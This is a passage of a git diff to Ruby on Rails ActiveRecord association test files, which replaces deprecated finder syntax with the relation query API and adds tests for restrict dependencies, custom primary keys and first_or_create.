+    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_of_firm.first.name
   end
 
   def test_finding_with_condition
-    assert_equal "Microsoft", Firm.find(:first, :order => "id").clients_like_ms.first.name
+    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_like_ms.first.name
   end
 
   def test_finding_with_condition_hash
-    assert_equal "Microsoft", Firm.find(:first, :order => "id").clients_like_ms_with_hash_conditions.first.name
+    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_like_ms_with_hash_conditions.first.name
   end
 
   def test_finding_using_primary_key
-    assert_equal "Summit", Firm.find(:first, :order => "id").clients_using_primary_key.first.name
+    assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
   end
 
   def test_finding_using_sql
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.order("id").first
     first_client = firm.clients_using_sql.first
     assert_not_nil first_client
     assert_equal "Microsoft", first_client.name
     assert_equal 1, firm.clients_using_sql.size
-    assert_equal 1, Firm.find(:first, :order => "id").clients_using_sql.size
+    assert_equal 1, Firm.order("id").first.clients_using_sql.size
+  end
+
+  def test_finding_using_sql_take_into_account_only_uniq_ids
+    firm = Firm.order("id").first
+    client = firm.clients_using_sql.first
+    assert_equal client, firm.clients_using_sql.find(client.id, client.id)
+    assert_equal client, firm.clients_using_sql.find(client.id, client.id.to_s)
   end
 
   def test_counting_using_sql
-    assert_equal 1, Firm.find(:first, :order => "id").clients_using_counter_sql.size
-    assert Firm.find(:first, :order => "id").clients_using_counter_sql.any?
-    assert_equal 0, Firm.find(:first, :order => "id").clients_using_zero_counter_sql.size
-    assert !Firm.find(:first, :order => "id").clients_using_zero_counter_sql.any?
+    assert_equal 1, Firm.order("id").first.clients_using_counter_sql.size
+    assert Firm.order("id").first.clients_using_counter_sql.any?
+    assert_equal 0, Firm.order("id").first.clients_using_zero_counter_sql.size
+    assert !Firm.order("id").first.clients_using_zero_counter_sql.any?
   end
 
   def test_counting_non_existant_items_using_sql
-    assert_equal 0, Firm.find(:first, :order => "id").no_clients_using_counter_sql.size
+    assert_equal 0, Firm.order("id").first.no_clients_using_counter_sql.size
   end
 
   def test_counting_using_finder_sql
@@ -368,7 +352,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_ids
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
 
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
 
@@ -388,7 +372,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_string_ids_when_using_finder_sql
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.order("id").first
 
     client = firm.clients_using_finder_sql.find("2")
     assert_kind_of Client, client
@@ -404,9 +388,9 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_all
-    firm = Firm.find(:first, :order => "id")
-    assert_equal 2, firm.clients.find(:all, :conditions => "#{QUOTED_TYPE} = 'Client'").length
-    assert_equal 1, firm.clients.find(:all, :conditions => "name = 'Summit'").length
+    firm = Firm.all.merge!(:order => "id").first
+    assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+    assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
   end
 
   def test_find_each
@@ -425,7 +409,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     firm = companies(:first_firm)
 
     assert_queries(2) do
-      firm.clients.find_each(:batch_size => 1, :conditions => {:name => "Microsoft"}) do |c|
+      firm.clients.where(name: 'Microsoft').find_each(batch_size: 1) do |c|
         assert_equal firm.id, c.firm_id
         assert_equal "Microsoft", c.name
       end
@@ -450,29 +434,29 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_find_all_sanitized
     # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    firm = Firm.find(:first, :order => "id")
-    summit = firm.clients.find(:all, :conditions => "name = 'Summit'")
-    assert_equal summit, firm.clients.find(:all, :conditions => ["name = ?", "Summit"])
-    assert_equal summit, firm.clients.find(:all, :conditions => ["name = :name", { :name => "Summit" }])
+    firm = Firm.all.merge!(:order => "id").first
+    summit = firm.clients.where("name = 'Summit'").to_a
+    assert_equal summit, firm.clients.where("name = ?", "Summit").to_a
+    assert_equal summit, firm.clients.where("name = :name", { :name => "Summit" }).to_a
   end
 
   def test_find_first
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     client2 = Client.find(2)
-    assert_equal firm.clients.first, firm.clients.find(:first, :order => "id")
-    assert_equal client2, firm.clients.find(:first, :conditions => "#{QUOTED_TYPE} = 'Client'", :order => "id")
+    assert_equal firm.clients.first, firm.clients.order("id").first
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").order("id").first
   end
 
   def test_find_first_sanitized
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     client2 = Client.find(2)
-    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = ?", 'Client'], :order => "id")
-    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }], :order => "id")
+    assert_equal client2, firm.clients.merge!(:where => ["#{QUOTED_TYPE} = ?", 'Client'], :order => "id").first
+    assert_equal client2, firm.clients.merge!(:where => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }], :order => "id").first
   end
 
   def test_find_all_with_include_and_conditions
     assert_nothing_raised do
-      Developer.find(:all, :joins => :audit_logs, :conditions => {'audit_logs.message' => nil, :name => 'Smith'})
+      Developer.all.merge!(:joins => :audit_logs, :where => {'audit_logs.message' => nil, :name => 'Smith'}).to_a
     end
   end
 
@@ -482,8 +466,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_grouped
-    all_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1")
-    grouped_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count')
+    all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
+    grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
     assert_equal 2, all_clients_of_firm1.size
     assert_equal 1, grouped_clients_of_firm1.size
   end
@@ -541,7 +525,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_create_with_bang_on_has_many_raises_when_record_not_saved
     assert_raise(ActiveRecord::RecordInvalid) do
-      firm = Firm.find(:first, :order => "id")
+      firm = Firm.all.merge!(:order => "id").first
       firm.plain_clients.create!
     end
   end
@@ -706,45 +690,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert !companies(:first_firm).clients_of_firm.loaded?
   end
 
-  def test_find_or_initialize
-    the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
-    assert_equal companies(:first_firm).id, the_client.firm_id
-    assert_equal "Yet another client", the_client.name
-    assert !the_client.persisted?
-  end
-
-  def test_find_or_create_updates_size
-    number_of_clients = companies(:first_firm).clients.size
-    the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-    assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-  end
-
-  def test_find_or_initialize_updates_collection_size
-    number_of_clients = companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
-    assert_equal number_of_clients + 1, companies(:first_firm).clients_of_firm.size
-  end
-
-  def test_find_or_create_with_hash
-    post = authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
-    assert_equal post, authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
-    assert post.persisted?
-  end
-
-  def test_find_or_create_with_one_attribute_followed_by_hash
-    post = authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
-    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
-    assert post.persisted?
-  end
-
-  def test_find_or_create_should_work_with_block
-    post = authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
-    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
-    assert post.persisted?
-  end
-
   def test_deleting
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
@@ -761,7 +706,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_deleting_updates_counter_cache
-    topic = Topic.first(:order => "id ASC")
+    topic = Topic.order("id ASC").first
     assert_equal topic.replies.to_a.size, topic.replies_count
 
     topic.replies.delete(topic.replies.first)
@@ -779,7 +724,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_deleting_updates_counter_cache_with_dependent_delete_all
     post = posts(:welcome)
-    post.update_column(:taggings_with_delete_all_count, post.taggings_count)
+    post.update_columns(taggings_with_delete_all_count: post.taggings_count)
 
     assert_difference "post.reload.taggings_with_delete_all_count", -1 do
       post.taggings_with_delete_all.delete(post.taggings_with_delete_all.first)
@@ -788,7 +733,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_deleting_updates_counter_cache_with_dependent_destroy
     post = posts(:welcome)
-    post.update_column(:taggings_with_destroy_count, post.taggings_count)
+    post.update_columns(taggings_with_destroy_count: post.taggings_count)
 
     assert_difference "post.reload.taggings_with_destroy_count", -1 do
       post.taggings_with_destroy.delete(post.taggings_with_destroy.first)
@@ -853,12 +798,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     client_id = firm.clients_of_firm.first.id
     assert_equal 1, firm.clients_of_firm.size
 
-    cleared = firm.clients_of_firm.clear
+    firm.clients_of_firm.clear
 
     assert_equal 0, firm.clients_of_firm.size
     assert_equal 0, firm.clients_of_firm(true).size
     assert_equal [], Client.destroyed_client_ids[firm.id]
-    assert_equal firm.clients_of_firm.object_id, cleared.object_id
 
     # Should not be destroyed since the association is not dependent.
     assert_nothing_raised do
@@ -924,11 +868,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     Client.create(:client_of => firm.id, :name => "BigShot Inc.")
     Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
     # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 2, Client.where(client_of: firm.id).size
     assert_equal 1, firm.dependent_conditional_clients_of_firm.size
     firm.destroy
     # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, Client.where(client_of: firm.id).size
   end
 
   def test_dependent_association_respects_optional_sanitized_conditions_on_delete
@@ -936,11 +880,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     Client.create(:client_of => firm.id, :name => "BigShot Inc.")
     Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
     # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 2, Client.where(client_of: firm.id).size
     assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
     firm.destroy
     # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, Client.where(client_of: firm.id).size
   end
 
   def test_dependent_association_respects_optional_hash_conditions_on_delete
@@ -948,22 +892,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     Client.create(:client_of => firm.id, :name => "BigShot Inc.")
     Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
     # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 2, Client.where(client_of: firm.id).size
     assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
     firm.destroy
     # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, Client.where(client_of: firm.id).size
   end
 
   def test_delete_all_association_with_primary_key_deletes_correct_records
-    firm = Firm.find(:first)
+    firm = Firm.first
     # break the vanilla firm_id foreign key
     assert_equal 2, firm.clients.count
-    firm.clients.first.update_column(:firm_id, nil)
+    firm.clients.first.update_columns(firm_id: nil)
     assert_equal 1, firm.clients(true).count
     assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
     old_record = firm.clients_using_primary_key_with_delete_all.first
-    firm = Firm.find(:first)
+    firm = Firm.first
     firm.destroy
     assert_nil Client.find_by_id(old_record.id)
   end
@@ -998,10 +942,24 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, summit.client_of
   end
 
-  def test_deleting_type_mismatch
+  def test_deleting_by_fixnum_id
     david = Developer.find(1)
-    david.projects.reload
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
+
+    assert_difference 'david.projects.count', -1 do
+      assert_equal 1, david.projects.delete(1).size
+    end
+
+    assert_equal 1, david.projects.size
+  end
+
+  def test_deleting_by_string_id
+    david = Developer.find(1)
+
+    assert_difference 'david.projects.count', -1 do
+      assert_equal 1, david.projects.delete('1').size
+    end
+
+    assert_equal 1, david.projects.size
   end
 
   def test_deleting_self_type_mismatch
@@ -1071,7 +1029,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     firm = companies(:first_firm)
     assert_equal 2, firm.clients.size
     firm.destroy
-    assert Client.find(:all, :conditions => "firm_id=#{firm.id}").empty?
+    assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
   end
 
   def test_dependence_for_associations_with_hash_condition
@@ -1081,7 +1039,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_destroy_dependent_when_deleted_from_association
     # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     assert_equal 2, firm.clients.size
 
     client = firm.clients.first
@@ -1109,7 +1067,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     firm.destroy rescue "do nothing"
 
-    assert_equal 2, Client.find(:all, :conditions => "firm_id=#{firm.id}").size
+    assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
   end
 
   def test_dependence_on_account
@@ -1129,16 +1087,47 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_nil companies(:leetsoft).reload.client_of
     assert_nil companies(:jadedpixel).reload.client_of
 
-
     assert_equal num_accounts, Account.count
   end
 
   def test_restrict
-    firm = RestrictedFirm.new(:name => 'restrict')
-    firm.save!
+    firm = RestrictedFirm.create!(:name => 'restrict')
+    firm.companies.create(:name => 'child')
+
+    assert !firm.companies.empty?
+    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedFirm.exists?(:name => 'restrict')
+    assert firm.companies.exists?(:name => 'child')
+  end
+
+  def test_restrict_is_deprecated
+    klass = Class.new(ActiveRecord::Base)
+    assert_deprecated { klass.has_many :posts, dependent: :restrict }
+  end
+
+  def test_restrict_with_exception
+    firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
     firm.companies.create(:name => 'child')
+
     assert !firm.companies.empty?
     assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedWithExceptionFirm.exists?(:name => 'restrict')
+    assert firm.companies.exists?(:name => 'child')
+  end
+
+  def test_restrict_with_error
+    firm = RestrictedWithErrorFirm.create!(:name => 'restrict')
+    firm.companies.create(:name => 'child')
+
+    assert !firm.companies.empty?
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+
+    assert_equal "Cannot delete record because dependent companies exist", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(:name => 'restrict')
+    assert firm.companies.exists?(:name => 'child')
   end
 
   def test_included_in_collection
@@ -1146,16 +1135,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_adding_array_and_collection
-    assert_nothing_raised { Firm.find(:first).clients + Firm.find(:all).last.clients }
-  end
-
-  def test_find_all_without_conditions
-    firm = companies(:first_firm)
-    assert_equal 2, firm.clients.find(:all).length
+    assert_nothing_raised { Firm.first.clients + Firm.all.last.clients }
   end
 
   def test_replace_with_less
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     firm.clients = [companies(:first_client)]
     assert firm.save, "Could not save firm"
     firm.reload
@@ -1169,7 +1153,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_replace_with_new
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
     firm.save
     firm.reload
@@ -1242,6 +1226,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert company.clients_using_sql.loaded?
   end
 
+  def test_get_ids_for_ordered_association
+    assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+  end
+
   def test_assign_ids_ignoring_blanks
     firm = Firm.create!(:name => 'Apple')
     firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
@@ -1265,29 +1253,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_dynamic_find_should_respect_association_order_for_through
-    assert_equal Comment.find(10), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'")
+    assert_equal Comment.find(10), authors(:david).comments_desc.where("comments.type = 'SpecialComment'").first
     assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment')
   end
 
-  def test_dynamic_find_all_should_respect_association_order_for_through
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find(:all, :conditions => "comments.type = 'SpecialComment'")
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit_for_through
-    assert_equal 1, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'").length
-    assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
-  end
-
-  def test_dynamic_find_all_order_should_override_association_limit_for_through
-    assert_equal 4, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'", :limit => 9_000).length
-    assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
-  end
-
-  def test_find_all_include_over_the_same_table_for_through
-    assert_equal 2, people(:michael).posts.find(:all, :include => :people).length
-  end
-
   def test_has_many_through_respects_hash_conditions
     assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
     assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
@@ -1295,7 +1264,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_include_uses_array_include_after_loaded
     firm = companies(:first_firm)
-    firm.clients.class # force load target
+    firm.clients.load_target
 
     client = firm.clients.first
 
@@ -1345,7 +1314,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
     firm = companies(:first_firm)
-    firm.clients.class # force load target
+    firm.clients.load_target
     assert firm.clients.loaded?
 
     assert_no_queries do
@@ -1391,14 +1360,28 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_calling_first_or_last_with_find_options_on_loaded_association_should_fetch_with_query
-    firm = companies(:first_firm)
-    firm.clients.class # force load target
+  def test_custom_primary_key_on_new_record_should_fetch_with_query
+    author = Author.new(:name => "David")
+    assert !author.essays.loaded?
 
-    assert_queries 2 do
-      assert firm.clients.loaded?
-      firm.clients.first(:order => 'name')
-      firm.clients.last(:order => 'name')
+    assert_queries 1 do
+      assert_equal 1, author.essays.size
+    end
+
+    assert_equal author.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_has_many_custom_primary_key
+    david = authors(:david)
+    assert_equal david.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_blank_custom_primary_key_on_new_record_should_not_run_queries
+    author = Author.new
+    assert !author.essays.loaded?
+
+    assert_queries 0 do
+      assert_equal 0, author.essays.size
     end
   end
 
@@ -1459,20 +1442,19 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     firm = Namespaced::Firm.create({ :name => 'Some Company' })
     firm.clients.create({ :name => 'Some Client' })
 
-    stats = Namespaced::Firm.find(firm.id, {
+    stats = Namespaced::Firm.all.merge!(
       :select => "#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients",
       :joins  => :clients,
       :group  => "#{Namespaced::Firm.table_name}.id"
-    })
+    ).find firm.id
     assert_equal 1, stats.num_clients.to_i
-
   ensure
     ActiveRecord::Base.store_full_sti_class = old
   end
 
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
     Comment.expects(:transaction)
-    Post.find(:first).comments.transaction do
+    Post.first.comments.transaction do
       # nothing
     end
   end
@@ -1489,14 +1471,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_creating_using_primary_key
-    firm = Firm.find(:first, :order => "id")
+    firm = Firm.all.merge!(:order => "id").first
     client = firm.clients_using_primary_key.create!(:name => 'test')
     assert_equal firm.name, client.firm_name
   end
 
   def test_defining_has_many_association_with_delete_all_dependency_lazily_evaluates_target_class
     ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval <<-EOF
+    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
       class DeleteAllModel < ActiveRecord::Base
         has_many :nonentities, :dependent => :delete_all
       end
@@ -1505,7 +1487,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class
     ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval <<-EOF
+    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
       class NullifyModel < ActiveRecord::Base
         has_many :nonentities, :dependent => :nullify
       end
@@ -1612,4 +1594,57 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal [bulb2], car.bulbs
     assert_equal [bulb2], car.reload.bulbs
   end
+
+  def test_replace_returns_target
+    car = Car.create(:name => 'honda')
+    bulb1 = car.bulbs.create
+    bulb2 = car.bulbs.create
+    bulb3 = Bulb.create
+
+    assert_equal [bulb1, bulb2], car.bulbs
+    result = car.bulbs.replace([bulb3, bulb1])
+    assert_equal [bulb1, bulb3], car.bulbs
+    assert_equal [bulb1, bulb3], result
+  end
+
+  def test_collection_association_with_private_kernel_method
+    firm = companies(:first_firm)
+    assert_equal [accounts(:signals37)], firm.accounts.open
+  end
+
+  test "first_or_initialize adds the record to the association" do
+    firm = Firm.create! name: 'omg'
+    client = firm.clients_of_firm.first_or_initialize
+    assert_equal [client], firm.clients_of_firm
+  end
+
+  test "first_or_create adds the record to the association" do
+    firm = Firm.create! name: 'omg'
+    firm.clients_of_firm.load_target
+    client = firm.clients_of_firm.first_or_create name: 'lol'
+    assert_equal [client], firm.clients_of_firm
+    assert_equal [client], firm.reload.clients_of_firm
+  end
+
+  test "delete_all, when not loaded, doesn't load the records" do
+    post = posts(:welcome)
+
+    assert post.taggings_with_delete_all.count > 0
+    assert !post.taggings_with_delete_all.loaded?
+
+    # 2 queries: one DELETE and another to update the counter cache
+    assert_queries(2) do
+      post.taggings_with_delete_all.delete_all
+    end
+  end
+
+  test ":finder_sql is deprecated" do
+    klass = Class.new(ActiveRecord::Base)
+    assert_deprecated { klass.has_many :foo, :finder_sql => 'lol' }
+  end
+
+  test ":counter_sql is deprecated" do
+    klass = Class.new(ActiveRecord::Base)
+    assert_deprecated { klass.has_many :foo, :counter_sql => 'lol' }
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 7a6aba6a6b..36e5ba9660 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -44,17 +44,33 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_associate_existing
-    posts(:thinking); people(:david) # Warm cache
+    post   = posts(:thinking)
+    person = people(:david)
 
     assert_queries(1) do
-      posts(:thinking).people << people(:david)
+      post.people << person
     end
 
     assert_queries(1) do
-      assert posts(:thinking).people.include?(people(:david))
+      assert post.people.include?(person)
     end
 
-    assert posts(:thinking).reload.people(true).include?(people(:david))
+    assert post.reload.people(true).include?(person)
+  end
+
+  def test_associate_existing_with_strict_mass_assignment_sanitizer
+    SecureReader.mass_assignment_sanitizer = :strict
+
+    SecureReader.new
+
+    post   = posts(:thinking)
+    person = people(:david)
+
+    assert_queries(1) do
+      post.secure_people << person
+    end
+  ensure
+    SecureReader.mass_assignment_sanitizer = :logger
   end
 
   def test_associate_existing_record_twice_should_add_to_target_twice
@@ -311,7 +327,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   def test_update_counter_caches_on_delete_with_dependent_destroy
     post = posts(:welcome)
     tag  = post.tags.create!(:name => 'doomed')
-    post.update_column(:tags_with_destroy_count, post.tags.count)
+    post.update_columns(tags_with_destroy_count: post.tags.count)
 
     assert_difference ['post.reload.taggings_count', 'post.reload.tags_with_destroy_count'], -1 do
       posts(:welcome).tags_with_destroy.delete(tag)
@@ -321,7 +337,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   def test_update_counter_caches_on_delete_with_dependent_nullify
     post = posts(:welcome)
     tag  = post.tags.create!(:name => 'doomed')
-    post.update_column(:tags_with_nullify_count, post.tags.count)
+    post.update_columns(tags_with_nullify_count: post.tags.count)
 
     assert_no_difference 'post.reload.taggings_count' do
       assert_difference 'post.reload.tags_with_nullify_count', -1 do
@@ -517,7 +533,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_count_with_include_should_alias_join_table
-    assert_equal 2, people(:michael).posts.count(:include => :readers)
+    assert_equal 2, people(:michael).posts.includes(:readers).count
   end
 
   def test_inner_join_with_quoted_table_name
@@ -528,6 +544,12 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
   end
 
+  def test_get_ids_for_has_many_through_with_conditions_should_not_preload
+    Tagging.create!(:taggable_type => 'Post', :taggable_id => posts(:welcome).id, :tag => tags(:misc))
+    ActiveRecord::Associations::Preloader.expects(:new).never
+    posts(:welcome).misc_tag_ids
+  end
+
   def test_get_ids_for_loaded_associations
     person = people(:michael)
     person.posts(true)
@@ -546,7 +568,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
     Tag.expects(:transaction)
-    Post.find(:first).tags.transaction do
+    Post.first.tags.transaction do
       # nothing
     end
   end
@@ -629,7 +651,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_collection_singular_ids_setter
     company = companies(:rails_core)
-    dev = Developer.find(:first)
+    dev = Developer.first
 
     company.developer_ids = [dev.id]
     assert_equal [dev], company.developers
@@ -649,7 +671,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set
     company = companies(:rails_core)
-    ids =  [Developer.find(:first).id, -9999]
+    ids =  [Developer.first.id, -9999]
     assert_raises(ActiveRecord::RecordNotFound) {company.developer_ids= ids}
   end
 
@@ -682,6 +704,17 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert author.comments.include?(comment)
   end
 
+  def test_through_association_readonly_should_be_false
+    assert !people(:michael).posts.first.readonly?
+    assert !people(:michael).posts.to_a.first.readonly?
+  end
+
+  def test_can_update_through_association
+    assert_nothing_raised do
+      people(:michael).posts.first.update_attributes!(:title => "Can write")
+    end
+  end
+
   def test_has_many_through_polymorphic_with_primary_key_option
     assert_equal [categories(:general)], authors(:david).essay_categories
 
@@ -709,7 +742,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_with_default_scope_on_join_model
-    assert_equal posts(:welcome).comments.order('id').all, authors(:david).comments_on_first_posts
+    assert_equal posts(:welcome).comments.order('id').to_a, authors(:david).comments_on_first_posts
   end
 
   def test_create_has_many_through_with_default_scope_on_join_model
@@ -732,7 +765,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_select_chosen_fields_only
     author = authors(:david)
-    assert_equal ['body'], author.comments.select('comments.body').first.attributes.keys
+    assert_equal ['body', 'id'].sort, author.comments.select('comments.body').first.attributes.keys.sort
   end
 
   def test_get_has_many_through_belongs_to_ids_with_conditions
@@ -780,13 +813,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert post[:author_count].nil?
   end
 
-  def test_interpolated_conditions
-    post = posts(:welcome)
-    assert !post.tags.empty?
-    assert_equal post.tags, post.interpolated_tags
-    assert_equal post.tags, post.interpolated_tags_2
-  end
-
   def test_primary_key_option_on_source
     post     = posts(:welcome)
     category = categories(:general)
@@ -841,7 +867,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_preloading_empty_through_association_via_joins
     person = Person.create!(:first_name => "Gaga")
-    person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').includes(:posts).to_a.first
+    person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').references(:readers).includes(:posts).to_a.first
 
     assert person.posts.loaded?, 'person.posts should be loaded'
